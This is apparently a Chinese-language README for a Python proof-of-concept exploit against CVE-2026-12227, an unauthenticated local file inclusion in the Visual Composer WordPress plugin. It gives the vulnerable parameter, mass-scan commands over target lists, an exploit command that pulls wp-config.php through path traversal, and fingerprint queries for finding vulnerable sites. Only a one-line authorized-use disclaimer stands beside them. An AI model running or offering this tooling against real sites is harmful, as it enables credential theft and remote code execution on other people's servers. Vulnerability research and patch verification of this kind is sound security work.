针对 CVE-2026-12227(Wordfence)的 Python 3 PoC:通过 Visual Composer Website Builder(wordpress.org 上的 visualcomposer)中的 vcv-template 查询参数实现本地文件包含。
| 平台 | WordPress 插件 |
| 组件 | Visual Composer Website Builder |
| 受影响版本 | ≤ 45.16.0 |
| 修复版本 | > 45.16.0(WP Trac 3619572)— 请使用最新稳定版(例如 45.16.3+) |
| CVSS | 9.8 严重(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 认证 | 未认证 |
| CWE | CWE-98 |
| 非 | WPBakery(js_composer)或 SAP NetWeaver Visual Composer |
在存在漏洞的版本中,公开页面加载会在 WordPress template_include 处理期间,于 PageTemplatesController 内遵循攻击者可控的 vcv-template(配合 vcv-template-type)。这可以包含磁盘上攻击者选定的文件;PHP 文件可能被执行(RCE)。Wordfence 指出在某些环境中可与上传的“安全”扩展名形成利用链。
?vcv-template-type=vc&vcv-template=blank 或 vcv-template 下的 LFI 路径。vcv-template-type、vcv-template-stretched。pip install -r requirements.txt
Python 3.8+。
# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check
# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /
# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet
# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php
# JSON for scripting
python poc.py -u https://target.example --mode check --json
| 文件 | 含义 |
|---|---|
cve_2026_12227_results.jsonl | 每个目标的完整 JSON |
hits.txt | 候选主机名 |
candidates.jsonl | 检查模式摘要(page_url、status、lfi) |
| 状态 | 含义 |
|---|---|
lfi_confirmed | 响应匹配 wp-config / /etc/passwd / version.php 启发式规则 |
vcv_template_controllable | vcv-template=blank 相比基线改变了布局(漏洞参数被遵循) |
plugin_vuln_no_surface | 插件版本较旧,但没有 VC 页面或参数被忽略 |
no_vc_page | 插件存在,但爬取的路径上没有 VC 标记 |
patched | 版本 > 45.16.0 |
body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php(getCurrentTemplateLayout、viewPageTemplate)。exploitable_candidate;在假定存在 RCE 之前,请在预发布克隆环境中确认。仅可在您拥有或获得明确测试许可的系统上使用。